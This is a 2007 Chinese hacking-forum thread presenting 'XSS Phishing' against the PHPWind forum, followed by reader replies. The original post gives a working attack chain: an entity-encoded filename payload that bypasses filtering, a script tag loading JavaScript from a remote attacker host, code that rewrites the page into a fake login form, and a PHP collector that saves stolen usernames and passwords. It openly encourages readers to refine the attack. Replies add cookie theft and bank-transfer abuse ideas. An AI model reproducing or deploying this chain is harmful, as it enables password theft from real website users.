[原创]XSS Phishing —— 新式跨站脚本攻击方式
文章作者:茄子宝信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
[b]注意:文章首发[url=http://safe.it168.com/ss/2007-07-21/200707210129484.shtml]IT168安全频道[/url],后由原创作者友情提交到邪恶八进制技术论坛,转载请注明原始出处。[/b]
最近跨站脚本漏洞好像比较火,国内的一些比较出名的WEB程序都陆续暴出了跨站脚本漏洞,但是一提到跨站脚本漏洞的攻击方式大家都哑火了,因为在常规的概念中这种漏洞最多是挂网页木马,获取COOKIE之类,属于典型的鸡肋漏洞,甚至有些牛人也开始不看好这类漏洞!
跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作,其实很多人写过类似的跨站脚本攻击方式,国内如玄猫写过关于QQ跨站利用方法、幻影的jno写过的网易同学录跨站方法、还有剑心写的牛B的AJAX XSS等.
除开以前的同志发表的攻击方式,我这里介绍一种新式攻击方法:XSS Phishing(跨站脚本钓鱼攻击),利用这种方式可以直接盗取用户的密码,下面我就拿最近PHPWIND论坛所暴出的XSS做一下演示,PHPWIND对上传文件名没有处理严格,导致可以写入跨站脚本.
先做一个简单的测试,发一篇新帖,在附件中随意写入一个本地路径加带“<” 和“>”的文件名,如图一
发帖成功后我们会发现,帖子附件名已经没有了,如图二
我们查看当前页面的源代码会发现<xss>已经写到页面内,如图三
当然要写入脚本,PHPWIND还是做了限制,文件名中出现"(","/"字符将会被过滤,不过可以利用HTML转码的方式绕过这个限制,如
[code]<TABLE BACKGROUND=javscript:alert(/xss/)>[/code]
转换成
[quote]<TABLE BACKGROUND=javascript:alert(/xss/)>[/quote] //[color=#FF0000]这里邪八论坛给转义拉,郁闷,是&#ASC格式[/color]
这样我们已经实现了跨站脚本的写入,关键是怎么实现攻击,这一处跨站脚本漏洞进行了HTML转码,我们不方便写入过长的内容,那么就加载一个JS文件,动态创建一个script标记,代码如下:
[code]<TABLE BACKGROUND=javascript:s=document.createElement("script");s.src="http://xxx.com/xss.js";document.body.appendChild(s);>[/code]
OK,到了这一步我们就可以在JS中任意构造我们的攻击代码,攻击的思路是当用户访问帖子,利用脚本清空当前页面,然后重新写成钓鱼页面.
首先我们可以实验一下,javacript有一个小特性,延时输出将会清空当前页面所有的内容,代码如下:
[code]
function Phish(){
info = "我是来钓鱼的!"
document.write(info);
}
function doit(){
setTimeout("Phish()", 1000 );
}doit()[/code]
如图四,帖子页面的代码和内容全变成了“我是来钓鱼的!”
想一想,如果我们把info变量的内容变成HTML代码会怎样,如图五
嘿嘿,邪恶一点!我们完全可以把页面变成一个自己操纵的登录页面,将表单的值指向远程服务器上的程序,如图六.
然后远程服务器上的程序将接受表单POST的用户和密码,当然我们可以做巧妙点,让其访问后又转跳回论坛首页,代码如下:
[code]
<?php
// 转跳回设置的主页
Header("Location: [url]http://www.phpwind.com[/url]");
if(isset($_POST['pwuser']) && isset($_POST['pwpwd'])) {
// 设置一个路径保存文件
$file_path = "/usr/local/apache/htdocs/pass.txt";
$file = @fopen($file_path, "a");
// 保存提交的用户名和密码字符串
$string = "User: ". $_POST['pwuser'] ." and Pass: ". $_POST['pwpwd'] . "\n";
// 向文件写入密码
@fwrite($file, $string);
@fclose($file);
}
?>
[/code]
最后我们便完成了钓鱼的过程,管理员访问我们的帖子,马上重写当前页面,设置一个重新登录的陷阱,盗取用户名和密码,全部过程只在没有察觉的一瞬间.
这类攻击方式危害很大,文中的原始代码只是描叙一下思路,有很多破绽,当然如果你够邪恶的话,完全可以自己重写代码,钓鱼于无形之中.
提醒一下,跨站脚本不仅仅是简单的挂马,XSS Phishing(跨站脚本钓鱼攻击)只是一个简单的开始!
附上动画演示:
[url]http://raystyle.googlepages.com/xss.html[/url] 这种攻击方式一直被广泛应用于邮件钓鱼里面,已经出现几年了。 [s:264] 用在XSS上很少,有也是用在URL参数类的XSS.
EMAIL Phishing历史悠久,伪造发件人很容易欺骗.
以前用过伪造QQ密码保护邮件套取密码的方法. 嗯,确实里面有很多东西挺新颖的,xss成为一种越来越成熟的攻击方式了 最近在让一个玩XSS的朋友帮忙整理全套XSS手法,楼主这份也收下了。谢谢了。 用在XSS上也几年了,嘿嘿。像以前的bbs3000,因为密码在coookie里所以只盗cookie就可以;前不动网跨站,改了动网logo等等。你的这种方法盗密码,很早也有很多应用,象hotmail、yahoo邮箱跨站是好多年了,去年剑心在黑手的文章<<跨站也可以这样玩——谈oblog3.0的漏洞>>也写的很详细,运用的更好。所以,我比较敏感标题里的"新式"二字。
当然,你的js语句是不错的。另外,你的php代码要处理,万一对方输错密码,你的掉鱼的代码就会暴露。 [s:267] 楼上是剑心的FANS? 这个我也早给你的偶像看过了.
剑心大牛那个是对URL参数类XSS,用DOM改表单值的方式.
我这个是直接重写页面,当然你要用DOM也行,再个我不是说了么~~~~~
[quote]这类攻击方式危害很大,文中的原始代码只是描叙一下思路,有很多破绽,当然如果你够邪恶的话,完全可以自己重写代码,钓鱼于无形之中.[/quote]
不一定要丢个完美的东西出来吓人吧,声明下这类攻击方式绝对没有人用过. [s:266]
楼主的文章不错,对你那个“javacript有一个小特性,延时输出将会清空当前页面所有的内容”,我不知道,要找书来恶补一下了!
再次感谢楼主! 《跨站也可以这样玩——谈oblog3.0的漏洞》这文章电子版谁有 [quote]引用第6楼茄子宝于2007-07-24 12:38发表的 :
[s:267] 楼上是剑心的FANS? 这个我也早给你的偶像看过了.
剑心大牛那个是对URL参数类XSS,用DOM改表单值的方式.
我这个是直接重写页面,当然你要用DOM也行,再个我不是说了么~~~~~
.......[/quote]
我不是他FANS,我是他偶像,哈哈。其它我不和你争了,没意思了。总之文章还是不错的,我不跳骨头了。 掌握好dom的运用是这种XSS的基础,你可以干得甚至不仅仅是这个,能执行脚本的标签也不仅仅是这些。国外有一个xss database,相信会给大家带来很大帮助的 跨站是很鸡肋的东西!
不用的好一般是没有用的!但是由于web2.0的发展!跨站是必然的!
但是应用也很简单是以后的网络攻击的一个方向!象文件包含漏洞一样很有前途!
但是找跨站点也不是一件简单的事~ 的确很早就看过别人用这个方法搞邮箱. [quote]引用第13楼back_fish于2007-07-25 16:46发表的 :
跨站是很鸡肋的东西!
不用的好一般是没有用的!但是由于web2.0的发展!跨站是必然的!
但是应用也很简单是以后的网络攻击的一个方向!象文件包含漏洞一样很有前途!
但是找跨站点也不是一件简单的事~[/quote]
所谓的[url]http://www.xx.com/111.php?que=[/url]<script>alert('xss')</script> 这种才没用.
XSS嵌入到Web内部危害就大了, 完全可以模拟IE执行任何操作!
构造得好, 如果银行WEB版登陆或转帐没有使用验证码, 完全可以用XSS实现转帐. 试想一下 做一个登录页面欺骗浏览用户 然后在获取其COOKIE 发送到你指定地点..... [s:264]
页:
[1]